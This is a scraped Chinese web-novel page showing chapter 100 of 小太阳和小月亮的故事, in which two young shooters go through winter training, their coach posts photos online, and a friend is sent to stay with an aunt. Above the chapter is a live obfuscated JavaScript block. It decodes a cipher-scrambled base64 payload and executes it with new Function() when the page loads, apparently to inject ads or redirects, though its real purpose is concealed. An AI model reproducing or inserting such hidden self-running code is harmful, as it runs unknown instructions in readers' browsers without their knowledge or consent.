趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一页
目录 | 设置
下一章

第100章 冬训(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

俩人一看旁边,好家伙,林筱满正在那跟数米粒似的吃饭呢。

林筱满吃饭慢一贯是队里出了名的,大家立马了然,摆摆手,“我俩先走了。”

等林筱满吃完饭的时候,餐厅里的人都少了一大半了,顾怀瑾送走了一批又一批人,两人才卡着时间线去整队。

冬训无疑是比其他平常训练都要累的,冬天氧气稀薄,更有利于将体内脂肪转化为肌肉,加上能磨练意志力,冬季是最佳训练时期,前几天两人还有空聊聊天,到后面,林筱满累的根本不想说一句话。

但成绩的确有了很大的提升,林筱满的耐力一直以来只能算中等,她最拿手的其实是一开始成绩的碾压,但是如果有人跟她不相上下,一直拖到后头十多轮,她的耐力其实也是不行的。

但是经过这段时间的磨练,她的耐力简直是质一般的飞跃。

顾怀瑾也改善颇多。

仇教练简直非常的满意,拍了一张两人训练的照片,发到围脖上去。

[仇V:两只进步的崽子,图片]

底下一堆人闻风而来。

[哇~鸭鸭好认真,健康涨环!]

[瑾哥感觉一段时间不见又帅了。]

[仇教练,求您了,多发点图片吧,鸭鸭和瑾哥没有比赛,都好久看不到两人了,只能从您这吃点好的解解饿。]

[天下最帅最好最优秀的仇教练!给您磕一个,再来一张照片吧?]

[楼上的真没志气,我也跪,求您给我们再来一张照片吧?]

[6]

仇教练心情大好,库库一顿拍,又挑了两张发了上去。

一堆人跪着喊他再生父母。

通常三月份就会有一些大型比赛了,但是今年全部都往后推了又推,到四月底的时候,冬训差不多结束了,几个人又被打包送回了省队继续练习。

自从上次仇教练发微博图片被安女士看到后,安女士和林爸爸就像打开了新大陆似的,让仇教练多拍些照片给她们,然后每次看到闺女又瘦了,就心疼地不行,林爸爸天天嘀咕道,“不然就算了吧,太累了。”

但从来没有一次跟自己女儿提起过这个想法,每次打视频一看到林筱满精神奕奕地说着训练的事情,又觉得闺女喜欢,那就让她继续吧。

“好,同学们,上次布置的试卷写完了吗?”上课时间,几个人都各自找了一个角落去学习或者回到宿舍,顾怀瑾几个考到一中高中部的坐在那一起学习,林筱满在不远处跟着老师上课。

如果说一中和海外有什么区别,那大概就是海外的老师喜欢上课用英文了,一堆话说出来,林筱满以前听的是云里雾里,听了三年下来也才终于听懂了上课的内容。

但是听懂了老师说的话,不代表听懂了知识点,狠狠地叹了一口气,林筱满开始怀念起于蔓来了。

而被她想念的于蔓,此时正面临一个很大的问题,就是于女士有事出差回不来,她和表弟被打包送到了袁圆阿姨家。

用于女士的原话来说就是,“本来想把你们送到满满家的,但是满满被关到射击队去了,为了你俩的安全着想,也为了让思睿有共同话题可以聊,你们袁圆阿姨正好雪中送炭过来问我了,就把你们送过去了,蔓蔓可以吗?”

于蔓当场无语了,您老都答应了,还问我干啥呢?

喜欢小太阳和小月亮的故事请大家收藏:小太阳和小月亮的故事本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间